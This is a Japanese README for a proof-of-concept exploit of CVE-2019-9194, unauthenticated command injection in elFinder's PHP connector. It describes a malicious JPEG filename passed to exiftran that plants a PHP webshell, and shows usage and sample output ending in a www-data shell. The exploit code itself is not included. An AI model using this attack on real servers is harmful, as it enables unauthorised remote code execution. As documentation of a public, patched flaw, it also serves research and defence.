CVE-2019-9194 — elFinder コマンドインジェクション (PoC)

elFinder <= 2.1.47 における、PHP コネクタコンポーネントを介したコマンドインジェクションの脆弱性。Web サーバーユーザーとして未認証のリモートコード実行が可能になります。

動作の仕組み

• シェルコマンドを含む悪意のあるファイル名を持つ有効な JPEG をアップロードします。
• 画像の回転を要求することで脆弱性を誘発し、ファイル名がサニタイズなしで exiftran に渡されます。
• 注入されたコマンドが PHP ウェブシェル (SecSignal.php) をサーバーに書き込みます。
• ウェブシェルに接続し、対話型シェルに入ります。

必要条件

• Python 3
• requests ライブラリ (pip install requests)
• ターゲットに exiftran がインストールされ、elFinder PHP コネクタ (connector.minimal.php) が有効になっている必要があります。

使用方法

python3 exploit.py http://TARGET

例:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考文献

• CVE-2019-9194
• EDB-46481
• 脆弱性の解説 — SecSignal
• elFinder 2.1.48 リリース (修正)

クレジット

• 発見: Thomas Chauchefoin
• オリジナルエクスプロイト: @q3rv0
• Python 3 移植 & Metasploit スタイルの改良: Esteban Zárate